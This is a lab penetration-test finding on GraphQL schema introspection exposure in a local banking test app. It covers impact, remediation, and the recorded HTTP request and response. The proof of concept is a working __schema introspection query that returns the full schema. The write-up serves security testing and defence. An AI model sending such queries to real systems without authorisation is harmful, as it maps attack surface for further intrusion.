Back to the index

LAB FAIL

Excessive Data Exposure - GraphQL - Schema Introspection

Excessive Data Exposure — GraphQL — Schema Introspection

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor · OWASP A05:2021 - Security Misconfiguration

Vulnerability

[FAIL] Excessive Data Exposure - GraphQL - Schema Introspection

Description

The /graphql endpoint serves __schema introspection queries to ordinary authenticated users. Every type, field, and argument in the schema can be downloaded, including fields not used by the official interface.

Impact

Low: introspection gives an attacker a complete map of the GraphQL attack surface without guessing field names. This information accelerates the discovery of other vulnerabilities in the same layer; in this test, the accountNumber argument revealed by the schema became the entry point for the SQL Injection finding in the transactionSummary resolver. Introspection itself does not disclose customer data.

CWE

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

OWASP

A05:2021 - Security Misconfiguration

Scenario

Exploitation: a __schema query is sent using an ordinary user token -> every type and field definition is returned, including the transactionSummary resolver and its arguments.

Endpoint

POST http://127.0.0.1:5001/graphql

Affected feature

GraphQL endpoint

Remediation

- Disable introspection in production environments. - Apply query allow-listing (persisted queries) so only known operations can run. - Limit query depth and complexity and apply rate limiting. - Ensure every resolver enforces its own authorization checks.

Proof of concept

  1. (Screenshot 1) EXPLOITATION: a __schema introspection query is sent with an ordinary user token -> the entire schema types and fields are returned, including the transactionSummary resolver and its arguments.

The complete record

LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.

HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 94

{"query": "{__schema{queryType{name} types{name fields{name type{name kind ofType{name}}}}}}"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 16837
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:13:04 GMT

{
  "data": {
    "__schema": {
      "queryType": {
        "name": "Query"
      }, 
      "types": [
        {
          "fields": [
            {
              "name": "transactionSummary", 
              "type": {
                "kind": "OBJECT", 
                "name": "TransactionSummaryType", 
                "ofType": null
              }
            }
          ], 
          "name": "Query"
        }, 
        {
          "fields": [
            {
              "name": "scope", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "accountNumber", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "totalTransactions", 
              "type": {
                "kind": "SCALAR", 
                "name": "Int", 
                "ofType": null
              }
            }, 
            {
              "name": "totalVolume", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "inflowTotal", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "outflowTotal", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "netFlow", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "largestTransaction", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "totalLoansGiven", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "pendingLoansCount", 
              "type": {
                "kind": "SCALAR", 
                "name": "Int", 
                "ofType": null
              }
            }, 
            {
              "name": "pendingLoansTotal", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "billPaymentTotal", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "billPaymentsCount", 
              "type": {
                "kind": "SCALAR", 
                "name": "Int", 
                "ofType": null
              }
            }, 
            {
              "name": "byType", 
              "type": {
                "kind": "LIST", 
                "name": null, 
                "ofType": {
                  "name": "TransactionTypeAggregate"
                }
              }
            }, 
            {
              "name": "recentTransactions", 
              "type": {
                "kind": "LIST", 
                "name": null, 
                "ofType": {
                  "name": "TransactionRecordType"
                }
              }
            }
          ], 
          "name": "TransactionSummaryType"
        }, 
        {
          "fields": null, 
          "name": "String"
        }, 
        {
          "fields": null, 
          "name": "Int"
        }, 
        {
          "fields": null, 
          "name": "Float"
        }, 
        {
          "fields": [
            {
              "name": "transactionType", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "count", 
              "type": {
                "kind": "SCALAR", 
                "name": "Int", 
                "ofType": null
              }
            }, 
            {
              "name": "totalAmount", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }
          ], 
          "name": "TransactionTypeAggregate"
        }, 
        {
          "fields": [
            {
              "name": "id", 
              "type": {
                "kind": "SCALAR", 
                "name": "Int", 
                "ofType": null
              }
            }, 
            {
              "name": "fromAccount", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "fromUsername", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "toAccount", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "toUsername", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "amount", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }

[... 10837 more bytes not shown ...]
Screenshot

← Previous case: Broken Object Level Authorization - Virtual Cards - Card Operations Next case: Insufficient Session Expiration - Authentication - JWT Lifetime →